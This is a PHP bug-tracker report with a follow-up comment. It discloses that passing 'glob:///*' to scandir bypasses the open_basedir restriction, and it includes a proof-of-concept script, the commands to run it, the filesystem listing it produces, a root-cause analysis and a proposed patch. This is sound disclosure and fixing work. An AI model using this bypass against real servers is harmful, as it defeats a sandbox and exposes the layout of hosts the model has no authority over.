|
php.net | support | documentation | report a bug | advanced search | search howto | statistics | random bug | login |
[2018-05-21 14:19 UTC] will at wbowling dot info
Description:
------------
Calling `scandir` with `glob:///*` will bypass any open_basedir that has been set and list the directories anyway.
$ php --version
PHP 7.2.5 (cli) (built: May 5 2018 00:18:54) ( NTS )
$ php -d open_basedir=/tmp ./poc.php '/'
Warning: scandir(): open_basedir restriction in effect. File(/) is not within the allowed path(s): (/tmp) in /tmp/poc.php on line 1
$ php -d open_basedir=/tmp ./poc.php 'glob:///*'
Array
(
[0] => bin
[1] => boot
[2] => dev
[3] => etc
[4] => home
[5] => lib
[6] => lib64
[7] => media
[8] => mnt
[9] => opt
[10] => proc
[11] => root
[12] => run
[13] => sbin
[14] => srv
[15] => sys
[16] => tmp
[17] => usr
[18] => var
)
$ php -d open_basedir=/tmp ./poc.php 'glob:///va*/*'
Array
(
[0] => backups
[1] => cache
[2] => lib
[3] => local
[4] => lock
[5] => log
[6] => mail
[7] => opt
[8] => run
[9] => spool
[10] => tmp
)
Test script:
---------------
<?php
print_r(scandir($argv[1]));
PatchesPull RequestsHistoryAllCommentsChangesGit/SVN commits
|
|||||||||||||||||||||||||||
Copyright © 2001-2025 The PHP GroupAll rights reserved. |
Last updated: Thu Nov 06 05:00:01 2025 UTC |
After a bit more testing it will only bypass the restriction if the current working directory is in the open_basedir: $ pwd /tmp $ php -d open_basedir=/tmp/restrict restrict/poc.php 'glob:///*' PHP Warning: scandir(): open_basedir restriction in effect. File(/*) is not within the allowed path(s): (/tmp/restrict) in /tmp/restrict/poc.php on line 2 ... $ cd restrict/ $ php -d open_basedir=/tmp/restrict ./poc.php 'glob:///*' Array ( [0] => bin [1] => boot ... )The problem is in php_check_specific_open_basedir(). When VCWD_REALPATH() is called[1] the first time, the path is not resolved. In the following, path_tmp is set to an empty string[2], and when VCWD_REALPATH() is called again with the empty string, it resolves to the CWD, which is obviously wrong. A simple fix would be: main/fopen_wrappers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/main/fopen_wrappers.c b/main/fopen_wrappers.c index 520edfadbb..6026ba0726 100644 --- a/main/fopen_wrappers.c +++ b/main/fopen_wrappers.c @@ -190,7 +190,7 @@ PHPAPI int php_check_specific_open_basedir(const char *basedir, const char *path #else path_file = strrchr(path_tmp, DEFAULT_SLASH); #endif - if (!path_file) { + if (!path_file || path_file == path_tmp) { /* none of the path components exist. definitely not in open_basedir.. */ return -1; } else { However, that would break setups where open_basedir=/ [1] <https://github.com/php/php-src/blob/php-7.2.30/main/fopen_wrappers.c#L168> [2] <https://github.com/php/php-src/blob/php-7.2.30/main/fopen_wrappers.c#L209>